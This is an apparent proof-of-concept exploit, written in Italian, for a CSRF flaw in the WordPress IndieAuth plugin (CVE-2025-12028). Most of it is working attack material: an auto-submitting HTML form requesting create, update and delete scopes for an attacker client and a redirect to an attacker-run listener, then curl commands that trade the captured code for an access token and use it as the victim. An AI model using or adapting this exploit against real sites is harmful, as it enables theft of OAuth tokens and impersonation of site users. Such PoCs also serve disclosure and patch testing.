
Proof-of-concept exploit per CVE-2025-12028 che dimostra il furto di token OAuth basato su CSRF nel plugin WordPress IndieAuth, consentendo accesso API non autorizzato con credenziali rubate.
mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000
/tmp/attacker/poc.html con il seguente contenuto<!doctype html>
<html>
<body>
<form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
<input name="client_id" value="http://attacker.local/app">
<input name="redirect_uri" value="http://127.0.0.1:8000/cb">
<input name="state" value="csrf-12345">
<input name="response_type" value="code">
<input name="scope[]" value="create">
<input name="scope[]" value="update">
<input name="scope[]" value="delete">
</form>
<script>
document.getElementById('x').submit();
</script>
</body>
</html>
Mentre sei autenticato su:
http://localhost/wordpress
Apri:
http://127.0.0.1:8000/poc.html
nella stessa sessione del browser.
Il browser:
http://127.0.0.1:8000/cb?code=...&state=csrf-12345
curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-d "grant_type=authorization_code" \
-d "code=PASTE_CODE_FROM_STEP_4" \
-d "client_id=http://attacker.local/app" \
-d "redirect_uri=http://127.0.0.1:8000/cb"
La risposta JSON conterrà campi come:
access_tokenscopemerefresh_tokenQuesto token può ora essere utilizzato per agire come la vittima negli scope concessi.
TOKEN="PASTE_ACCESS_TOKEN"
curl -s "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-H "Authorization: Bearer $TOKEN"